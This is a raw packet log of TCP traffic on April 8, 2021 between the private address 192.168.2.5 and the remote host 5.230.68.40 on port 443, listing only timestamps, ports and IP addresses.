Apr 8, 2021 18:46:40.434802055 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434832096 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434863091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434880972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434892893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434906006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434925079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434943914 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434952974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.434979916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.434986115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.435003996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.435015917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.435062885 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.457916975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.457947016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.457973957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.457999945 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458034039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458062887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458089113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458098888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.458115101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458146095 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.458152056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.458163023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458190918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458216906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458242893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458245993 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.458259106 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.458304882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.458606005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.458676100 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459024906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459059954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459090948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459095955 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459117889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459120989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459142923 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459145069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459165096 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459172010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459187031 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459198952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459225893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459235907 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459273100 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459518909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459552050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459582090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459582090 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459609032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459633112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459638119 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459650993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459651947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459678888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459705114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459729910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459732056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459757090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.459763050 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459789991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459813118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.459923983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460155964 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460197926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460215092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460232019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460246086 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460263014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460277081 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460290909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460309029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460319042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460339069 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460362911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460370064 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460390091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460417032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460438967 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460443020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460469007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460473061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460495949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460503101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460525036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460527897 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460535049 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.460557938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.460611105 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.476671934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.476725101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.476768017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.476805925 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.476843119 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.476871014 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.476881981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.476914883 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.476919889 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.476922035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.476954937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.476962090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477001905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477015972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477051973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477094889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477132082 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477147102 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477171898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477179050 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477210999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477247953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477286100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477292061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477323055 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477370024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477374077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477442026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477483034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477515936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477519989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477534056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477561951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477602959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477639914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477655888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477686882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477689028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477761984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477801085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477864981 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.477921009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.477971077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478040934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.478071928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478178024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478243113 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.478266001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478306055 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478321075 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.478394985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478449106 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.478451014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478518963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478559971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478580952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.478599072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478637934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478677034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478693962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.478729010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.478786945 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.479340076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.479382038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.479477882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.479485035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.479526043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.479553938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.480739117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.480781078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.480818033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.480855942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.480861902 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.480881929 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.480895042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.480933905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.480969906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.480986118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481018066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481018066 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481064081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481101036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481116056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481139898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481179953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481216908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481230021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481255054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481292963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481304884 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481337070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481339931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481401920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481450081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481453896 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481487989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481527090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481539965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481565952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481602907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481623888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481641054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481678963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481690884 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481725931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481769085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481776953 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481806993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481844902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481857061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481884003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481920004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481956959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.481971025 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.481996059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.482009888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.482045889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.482089043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.482095003 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.501595020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501642942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501681089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501732111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501775980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501785994 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.501813889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501822948 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.501847029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.501864910 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501908064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501945972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501960993 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.501985073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.501988888 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.502037048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502077103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502088070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.502116919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502155066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502202034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502206087 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.502245903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502284050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502295971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.502322912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502361059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502377987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.502398014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502437115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.502449036 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.504093885 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.524786949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.524832010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.524878979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.524950981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.524972916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.524991035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525017023 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525029898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525049925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525070906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525083065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525120974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525163889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525172949 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525202990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525242090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525254965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525280952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525289059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525320053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525357962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525381088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525433064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525475025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525512934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525521994 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525522947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525537014 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525567055 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525572062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525604963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525618076 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525644064 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525650024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525675058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525722980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.525736094 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.525768995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.544904947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.544965029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545006990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545111895 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545150995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545173883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545217037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545285940 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545299053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545351028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545413017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545427084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545450926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545489073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545511961 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545527935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545548916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545578003 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545597076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545739889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545763016 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545809984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545857906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545881987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545902967 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545922041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545942068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.545968056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.545981884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546034098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546072960 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546076059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546111107 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546112061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546143055 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546150923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546168089 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546189070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546211958 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546228886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546267033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546314001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546320915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546356916 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546358109 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546391964 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546395063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546411991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546435118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546453953 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546473026 CEST	443	49727	5.230.68.40	192.168.2.5
